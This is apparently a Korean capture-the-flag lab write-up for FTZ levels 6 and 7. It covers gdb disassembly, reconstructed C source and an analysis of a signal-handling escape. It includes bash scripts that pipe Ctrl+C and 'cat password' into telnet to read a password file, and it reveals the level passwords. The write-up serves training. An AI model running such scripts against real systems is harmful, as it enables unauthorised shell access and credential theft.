0x080484fe <main+6>: sub $0xc,%esp

0x08048501 <main+9>: push $0x80486f2 system(“cat hint”);

0x08048506 <main+14>: call 0x8048384 <system> /* int system(const char *string); */

0x0804850b <main+19>: add $0x10,%esp getchar();

0x0804850e <main+22>: call 0x8048354 <getchar> /* int getchar(void); */

 

 

0x08048513 <main+27>: sub $0xc,%esp

0x08048516 <main+30>: push $0x80486fb system(“clear:”)

0x0804851b <main+35>: call 0x8048384 <system>

0x08048520 <main+40>: add $0x10,%esp

 

접속 서비스 이미지

0x08048523 <main+43>: sub $0xc,%esp

0x08048526 <main+46>: push $0x8048720

0x0804852b <main+51>: call 0x80483c4 <printf> /* int printf(const char *format, ...); */

0x08048530 <main+56>: add $0x10,%esp

0x08048533 <main+59>: sub $0xc,%esp

0x08048536 <main+62>: push $0x8048760

0x0804853b <main+67>: call 0x80483c4 <printf>

0x08048540 <main+72>: add $0x10,%esp

0x08048543 <main+75>: sub $0xc,%esp

0x08048546 <main+78>: push $0x80487a0

0x0804854b <main+83>: call 0x80483c4 <printf>

0x08048550 <main+88>: add $0x10,%esp

0x08048553 <main+91>: sub $0xc,%esp

0x08048556 <main+94>: push $0x8048760

0x0804855b <main+99>: call 0x80483c4 <printf>

0x08048560 <main+104>: add $0x10,%esp

0x08048563 <main+107>: sub $0xc,%esp

0x08048566 <main+110>: push $0x8048760

0x0804856b <main+115>: call 0x80483c4 <printf>

0x08048570 <main+120>: add $0x10,%esp

---Type <return> to continue, or q <return> to quit---

0x08048573 <main+123>: sub $0xc,%esp

0x08048576 <main+126>: push $0x80487e0

0x0804857b <main+131>: call 0x80483c4 <printf>

0x08048580 <main+136>: add $0x10,%esp

0x08048583 <main+139>: sub $0xc,%esp

0x08048586 <main+142>: push $0x8048820

0x0804858b <main+147>: call 0x80483c4 <printf>

0x08048590 <main+152>: add $0x10,%esp

0x08048593 <main+155>: sub $0xc,%esp

0x08048596 <main+158>: push $0x8048760

0x0804859b <main+163>: call 0x80483c4 <printf>

0x080485a0 <main+168>: add $0x10,%esp

0x080485a3 <main+171>: sub $0xc,%esp

0x080485a6 <main+174>: push $0x8048860

0x080485ab <main+179>: call 0x80483c4 <printf>

0x080485b0 <main+184>: add $0x10,%esp

 

 

 

0x080485b3 <main+187>: sub $0x8,%esp

0x080485b6 <main+190>: push $0x80484e0 (핸들러 함수인 듯 하다) x/x 0x80484e0 로 확인. 포인터 지정된 값 나온다.

signal(0x2, sig_func);

(gdb) disassemble sig_func

0x080485bb <main+195>: push $0x2

0x080485bd <main+197>: call 0x8048374 <signal>

/* void (*signal(int signum, void (*handler)(int)))(int); */

0x080485c2 <main+202>: add $0x10,%esp

 

 

0x080485c5 <main+205>: sub $0xc,%esp

0x080485c8 <main+208>: push $0x80488a0

0x080485cd <main+213>: call 0x80483c4 <printf>

0x080485d2 <main+218>: add $0x10,%esp

 

 

scanf 분석 부분

0x080485d5 <main+221>: sub $0x8,%esp

0x080485d8 <main+224>: lea 0xfffffffc(%ebp),%eax (주소값 로딩해서 쓰겠다)

0x080485db <main+227>: push %eax (로딩해서 eax에 들어있는 값을 스택에 넣어라)

0x080485dc <main+228>: push $0x80488c3 (그 다음 이걸 넣는다.)

0x080485e1 <main+233>: call 0x8048394 <scanf> /* int scanf(const char *format, ...); */

0x080485e6 <main+238>: add $0x10,%esp

 

0x080485e9 <main+241>: cmpl $0x1,0xfffffffc(%ebp)

0x080485ed <main+245>: jne 0x80485ff <main+263>

 

0x080485ef <main+247>: sub $0xc,%esp

0x080485f2 <main+250>: push $0x80488c6

0x080485f7 <main+255>: call 0x8048384 <system>

0x080485fc <main+260>: add $0x10,%esp

0x080485ff <main+263>: cmpl $0x2,0xfffffffc(%ebp)

0x08048603 <main+267>: jne 0x8048615 <main+285>

 

여기가 참인 조건

0x08048605 <main+269>: sub $0xc,%esp

0x08048608 <main+272>: push $0x80488db

0x0804860d <main+277>: call 0x8048384 <system>

0x08048612 <main+282>: add $0x10,%esp

0x08048615 <main+285>: cmpl $0x3,0xfffffffc(%ebp)

0x08048619 <main+289>: jne 0x804862b <main+307>

 

여기가 참인 조건

0x0804861b <main+291>: sub $0xc,%esp

0x0804861e <main+294>: push $0x80488f1

0x08048623 <main+299>: call 0x8048384 <system>

0x08048628 <main+304>: add $0x10,%esp

 

 

compare 후 점프

0x0804862b <main+307>: cmpl $0x1,0xfffffffc(%ebp)

0x0804862f <main+311>: je 0x804864d <main+341>

0x08048631 <main+313>: cmpl $0x2,0xfffffffc(%ebp)

0x08048635 <main+317>: je 0x804864d <main+341>

0x08048637 <main+319>: cmpl $0x3,0xfffffffc(%ebp)

0x0804863b <main+323>: je 0x804864d <main+341> (jump equal)

 

 

0x0804863d <main+325>: sub $0xc,%esp

0x08048640 <main+328>: push $0x8048920

0x08048645 <main+333>: call 0x80483c4 <printf>

0x0804864a <main+338>: add $0x10,%esp

0x0804864d <main+341>: leave

0x0804864e <main+342>: ret

0x0804864f <main+343>: nop

End of assembler dump.

(gdb) x/s 0x80486f2

0x80486f2 <_IO_stdin_used+46>: "cat hint"

(gdb) x/s 0x80486fb

0x80486fb <_IO_stdin_used+55>: "clear"

(gdb) x/s 0x8048720

0x8048720 <_IO_stdin_used+92>: "\n ", '#' <repeats 37 times>, "\n"

(gdb) x/s 0x8048760

0x8048760 <_IO_stdin_used+156>: " ##", ' ' <repeats 33 times>, "##\n"

(gdb) x/s 0x80487a0

0x80487a0 <_IO_stdin_used+220>: " ## 텔넷 접속 서비스 ##\n"

(gdb) x/s 0x8048760

0x8048760 <_IO_stdin_used+156>: " ##", ' ' <repeats 33 times>, "##\n"

(gdb) x/s 0x8048760

0x8048760 <_IO_stdin_used+156>: " ##", ' ' <repeats 33 times>, "##\n"

(gdb) x/s 0x80487e0

0x80487e0 <_IO_stdin_used+284>: " ## 1. 하이텔 2. 나우누리 ##\n"

(gdb) x/s 0x8048820

0x8048820 <_IO_stdin_used+348>: " ## 3. 천리안", ' ' <repeats 19 times>, "##\n"

(gdb) x/s 0x8048760

0x8048760 <_IO_stdin_used+156>: " ##", ' ' <repeats 33 times>, "##\n"

(gdb) x/s 0x8048860

0x8048860 <_IO_stdin_used+412>: " ", '#' <repeats 37 times>, "\n"

(gdb) x/s 0x80484e0

0x80484e0 <sig_func>: "U\211?203?b\203?fh?206\004\b翫?\203?020U\211?\203?b\203?fh?206\004\b??\203?020??\203?fh?206\004\b??\203?020\203?fh \207\004\b?224?\203?020\203?fh`\207\004\b?204?\203?020\203?fh?207\004\b??\203?020\203?fh`\207\004\b??\203?020\203?fh`\207\004\b??\203?020\203?fh?207\004\b??\203?020\203?fh \210\004\b??\203?020\203?\fh`\207\004\b??\203?020\203?fh`"...

(gdb) disas sig_func

Dump of assembler code for function sig_func:

0x080484e0 <sig_func+0>: push %ebp

0x080484e1 <sig_func+1>: mov %esp,%ebp

0x080484e3 <sig_func+3>: sub $0x8,%esp

0x080484e6 <sig_func+6>: sub $0xc,%esp

0x080484e9 <sig_func+9>: push $0x80486e0

0x080484ee <sig_func+14>: call 0x80483c4 <printf>

0x080484f3 <sig_func+19>: add $0x10,%esp

0x080484f6 <sig_func+22>: leave

0x080484f7 <sig_func+23>: ret

End of assembler dump.

(gdb) x/s 0x80486e0

0x80486e0 <_IO_stdin_used+28>: "Can't use ctrl+c\n"

(gdb) x/s 0x80488a0

0x80488a0 <_IO_stdin_used+476>: "\n접속하고 싶은 bbs를 선택하세요 : "

(gdb) x/s 0x80488c3

0x80488c3 <_IO_stdin_used+511>: "%d"

(gdb) x/s 0x80488c6

0x80488c6 <_IO_stdin_used+514>: "telnet 203.245.15.76"

(gdb) x/s 0x80488db

0x80488db <_IO_stdin_used+535>: "telnet 203.238.129.97"

(gdb) x/s 0x80488f1

0x80488f1 <_IO_stdin_used+557>: "telnet 210.120.128.180"

(gdb) x/s 0x8048920

0x8048920 <_IO_stdin_used+604>: "잘못 입력하셨습니다. 접속을 종료합니다.\n"

(gdb) quit

* 덩치 형태로 봐야 코드로 전환하는게 빠르고 편하다.

 

 

/*Header File*/

# include <unistd.h>

# include <stdio.h>

 

/* Global Variable */

 

/* Func */

void sig_func(int signo) 인자값으로 숫자를 반드시 써야함.

{

printf(“Cat’t use ctrl+c\n”);

}

 

 

/*main func*/

main()

{

int number; /변수선언

system(“cat hint”);

getchar();

system("clear");

printf("#####################################\n");

printf("## ##\n");

printf("## 텔넷 접속 서비스 ##\n");

printf("## ##\n");

printf("## 1. 하이텔 2. 나우누리 ##\n");

printf("## 3. 천리안 ##\n");

printf("## ##\n");

printf("#####################################\n");

signal(0x2, sig_func);

printf("\n접속하고 싶은 bbs를 선택하세요 : ");

scanf(“%d”, number); / number 변수 사용하려면 위쪽에 변수 선언해줘야함.

if (number == 0x01) system(“telnet 203.245.15.17”);

if (number == 0x02) system(“telnet 203.238.129.97”);

if (number == 0x03) system(“telnet 210.120.128.180”);

if (number != 0x01)

if (number != 0x02)

if (number != 0x03)

printf(“잘못 입력하셨습니다. 접속을 종료합니다. \n”);

return 0;

}

 

 

■ 함수에 대한 매뉴얼 페이지 중 SYNOPSIS 부분의 내용만을 축출하는 프로그램 만들기

 

[level6@ftz level6]$ cd tmp

[level6@ftz tmp]$ su

Password:

[level6@ftz tmp]$ vi m.sh

#!/bin/bash

 

export LANG=C

man $* | col -b | sed -n '/SYNOPSIS/,/DESCRIPTION/p'

 

 

[root@ftz tmp]$ chmod 755 m.sh

[root@ftz tmp]$ cp m.sh /bin

[root@ftz tmp]$ m.sh 3 printf

-> 출력 내용 생략

[root@ftz tmp]$ m.sh system

-> 출력 내용 생략

[root@ftz tmp]$ exit

 

 

■ 복원된 의사코드(가상코드)이다.

# vi tn.c

#include <stdio.h>

#include <signal.h>

 

void sig_func(int signo)

{

printf("Can't use ctrl+c\n");

}

 

int main()

{

char input;

int select, i;

 

system("cat hint");

input = getchar();

system("clear");

 

printf("#####################################\n");

printf("## ##\n");

printf("## 텔넷 접속 서비스 ##\n");

printf("## ##\n");

printf("## 1. 하이텔 2. 나우누리 ##\n");

printf("## 3. 천리안 ##\n");

printf("## ##\n");

printf("#####################################\n");

 

for(i=1; i<32; i++)

{

if(i == SIGINT) signal(i, sig_func);

else signal(i, SIG_IGN);

}

 

printf("\n접속하고 싶은 bbs를 선택하세요 : ");

switch(input)

{

case 1: system("telnet 203.245.15.76"); break;

case 2: system("telnet 203.238.129.97"); break;

case 3: system("telnet 210.120.128.180"); break;

default:

if(input !=1 && input !=2 && input !=3)

printf("잘못 입력하셨습니다. 접속을 종료합니다.\n");

}

return 0;

}



■ 원본 소스 코드

# vi tn.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <signal.h>

 

void sig_func( int sig )

{

printf( "Can't use ctrl+c\n" );

}

 

int main(){

 

int i;

 

system("cat hint");

getchar();

system("clear");

printf("\n #####################################\n");

printf(" ## ##\n");

printf(" ## 텔넷 접속 서비스 ##\n");

printf(" ## ##\n");

printf(" ## ##\n");

printf(" ## 1. 하이텔 2. 나우누리 ##\n");

printf(" ## 3. 천리안 ##\n");

printf(" ## ##\n");

printf(" #####################################\n");

 

signal( SIGINT, sig_func );

printf("\n접속하고 싶은 bbs를 선택하세요 : ");

scanf( "%d", &i );

 

if( i==1 ) system("telnet 203.245.15.76");

if( i==2 ) system("telnet 203.238.129.97");

if( i==3 ) system("telnet 210.120.128.180");

if( i!=1 && i!=2 && i!=3 )

printf("잘못 입력하셨습니다. 접속을 종료합니다.\n");

 

}

 

 

 

 


 

 

 

2-2 공격용 프로그램 개발(Remote Exploit)

 

 

 

■ 레벨6 취약점 분석

/home/level6/tn 프로그램내에 signal() 함수를 통해 시그널 제어가 되고 있는데, 이 위치가 선택하는 메뉴가 나온 이후에 시그널 제어가 시작이 된다.

따라서, 메뉴가 나오기 전에는 시그널 제어가 되지 않는 것이다. 만약 메뉴가 나오기 전에 <CTRL + C> 사용하면 /home/level6/tn 프로그램을 실행 중간에서 종료할 수 있고, 쉘 프롬프트를 띄울수 있는 취약성을 가지고 있다.

 

(공격 절차)

(ㄱ) telnet 192.168.10.240

(ㄴ) <CTRL + C>

(ㄷ) password 파일 내용 확인

 

 

# cd ~/hackme

# vi level6.sh

#!/bin/bash

 

export TERM=vt100

export LANG=ko_KR.euckr

export LOG1=level6.log

 

attack() {

sleep 1; echo “what the hell”

sleep 1; echo “^C”

sleep 1; echo “hostname”

sleep 1; echo “cat password”

sleep 1; echo “exit”

 

}

echo “[*] Attack Started. Please wait..”

attack | telnet –l 192.168.10.240 > $LOG1 2>/&1

 

echo “[+]Attack success”

grep ‘Level7 Password’L$LOG1

 

 

 

 

 

=====================================================

#!/bin/bash

 

export TERM=xterm

export LANG=ko_KR.euckr

export IP1=192.168.10.240

export PORT1=23

export CMD1="^C" # <CTRL + V + C>

export CMD2="cat password"

LOG1=level6.log

 

attack() {

sleep 4; echo "what the hell"

sleep 1; echo "$CMD1"

sleep 1; echo "$CMD2"

sleep 1; echo "exit"

}

 

> $LOG1 && echo "[*] Log file created."

echo "[*] Level6 attack started. Please wait ...."

attack | telnet -l level6 $IP1 $PORT1 > $LOG1 2>&1

grep 'Level7 password' $LOG1

if [ $? -eq 0 ] ; then

echo "[+] attack success."

else

echo "[-] attack failed."

fi

attack() 함수의 초기 연결 시간(sleep time) 값을 조정할 수 있다. 너무 짧게 잡으면 잘 안되는 경우가 많다.

 

# chmod 700 *.sh

# ./level6.sh

 

 

 

 

(정리) level6 과정에 대한 정리

 

■ 수행한 내용

signal() 동작 원리 분석

/home/level6/tn 파일에 대한 분석을 통한 의사코드(가상코드) 제작

Remote Exploit Code 개발

 

 

 


 

 

 

3. Leve7 -> Leve8 풀이

 

 

 

8 4 2 1 2진수

1 1 0 1 1 1 0 0 -> 0xdc(16진수), o334(8진수)

 

10진수 2진수 = 나머지값으로 계산

10 = 10/2/2/2 > 1010

 

 

■ 단원의 목적

암호학에 대해서(진법의 전환: 2진수 <-> 10진수 <-> 16진수)

 

■ printf() 함수(포맷 스트링(format string), 포맷 스트링 지시자(format string directive))

printf() 함수를 사용할 때 메모리에 2진수로 값이 저장되어 있지만 사람이 이해하기 쉽도록 하기 위해서 %c를 지정하면 한글자가 보이고, %d로 지정하면 모니터에 정수가 출력된다.

 

반대로 사용자가 메모리에 원하는 문자를 저장하려면 아스키 테이블을 보고, 그 문자에 해당하는 16진수 값을 저장해야 한다.

 

 

 

 

① level7 로그인

level7 사용자로 로그인

-> ID/PASS: level7/come together

 

② 실습을 위한 준비

---------------------------- 실습을 위한 준비 ------------------------------

[level7@ftz level7]$ su root

Password: (root 사용자 암호 입력)

 

 

[level7@ftz level7]$ cat << EOF > /bin/wrong.txt

올바르지 않은 패스워드 입니다.

패스워드는 가까운곳에...

--_--_- --____- ---_-__ --__-_-

EOF

 

[level7@ftz level7]$ cat /bin/wrong.txt

올바르지 않은 패스워드 입니다.

패스워드는 가까운곳에...

--_--_- --____- ---_-__ --__-_-


[level7@ftz level7]$ exit

---------------------------- 실습을 위한 준비 ------------------------------

 

③ hint 파일 확인

[level7@ftz level7]$ ls -l

합계 12

-rw-r--r-- 1 root root 185 11월 23 2000 hint

drwxr-xr-x 2 root level7 4096 2월 24 2002 public_html

drwxrwxr-x 2 root level7 4096 1월 9 2009 tmp


[level7@ftz level7]$ 
cat hint

 

/bin/level7 명령을 실행하면, 패스워드 입력을 요청한다.

 

1. 패스워드는 가까운곳에..

2. 상상력을 총동원하라.

3. 2진수를 10진수를 바꿀 수 있는가?

4. 계산기 설정을 공학용으로 바꾸어라.

 

 

/bin/level7 파일이 존재한다.

/bin/level7 프로그램을 실행하면 암호를 물어 본다.

 

④ 힌트 조건에 맞는 파일 찾기

[level7@ftz level7]$ find / -name level7 2>/dev/null

/bin/level7

/home/level7


[level7@ftz level7]$ 
find / -user level8 -perm -4000 2>/dev/null

/bin/level7

 

 

[level7@ftz level7]$ ls -l /bin/level7

-rws--x--- 1 level8 level7 12312 8월 19 12:58 /bin/level7

 

 

⑤ /bin/level7 파일 실행

[level7@ftz level7]$ /bin/level7

Insert The Password : aaaa

올바르지 않은 패스워드 입니다.

패스워드는 가까운곳에...

--_--_- --____- ---_-__ --__-_-

 

 

[level7@ftz level7]$ /bin/level7

Insert The Password : 1234

올바르지 않은 패스워드 입니다.

패스워드는 가까운곳에...

--_--_- --____- ---_-__ --__-_


-------------------------------------------------------------------------

구분 표기 예 아스키문자열

-------------------------------------------------------------------------

2진수(Bin): 1101101 1100001 1110100 1100101 ?

10진수(Dec): 109 97 116 101 mate

16진수(Hex): 6d 61 74 65 mate

-------------------------------------------------------------------------

 

⑥ ASCII 코드표 확인

[level7@ftz level7]$ export LANG=C

[level7@ftz level7]$ man ascii

Oct Dec Hex Char Oct Dec Hex Char

------------------------------------------------------------

..... (중략) ....

041 33 21 ! 141 97 61 a

042 34 22 " 142 98 62 b

043 35 23 # 143 99 63 c

044 36 24 $ 144 100 64 d

045 37 25 % 145 101 65 e

046 38 26 & 146 102 66 f

047 39 27 ' 147 103 67 g

050 40 28 ( 150 104 68 h

051 41 29 ) 151 105 69 i

052 42 2A * 152 106 6A j

053 43 2B + 153 107 6B k

054 44 2C , 154 108 6C l

055 45 2D - 155 109 6D m

056 46 2E . 156 110 6E n

057 47 2F / 157 111 6F o

060 48 30 0 160 112 70 p

061 49 31 1 161 113 71 q

062 50 32 2 162 114 72 r

063 51 33 3 163 115 73 s

064 52 34 4 164 116 74 t

065 53 35 5 165 117 75 u

066 54 36 6 166 118 76 v

..... (중략) ....

 

 

숫자 & 대문자 & 소문자

* 숫자 0 -> 16 진수 : 0x30, 10진수: 48

* 문자 A -> 16 진수 : 0x41, 10진수: 65

* 문자 a -> 16 진수 : 0x61, 10진수: 97

 

CRLF (Carriage Return Line Feed) enter

* 특수문자 '\n' -> 16 진수 : 0x0a

* 특수문자 '\r' -> 16 진수 : 0x0d

[참고] Windows(\r\n -> \x0d\x0a), Linux/Unix/Mac(\n -> \x0a)

 

 

 

외워야할것!

A / a / 숫자 0 (16진수부터 > 지금 과정에서 필요함)

 

Oct(8진수) Dec(10진수) Hex(16진수) Char

---------------------------------------------

101 65 41 A

141 97 61 a

060 48 30 0

 

문자는 대소문자 각각32개

숫자는 10개

 

 

 

⑦ /bin/level7 공격

[level7@ftz level7]$ /bin/level7

Insert The Password : mate

 

Congratulation! next password is "break the world".

 

 

 

 

 

 

[출처]

솔데스크 백승찬 강사님

 

728x90
반응형

+ Recent posts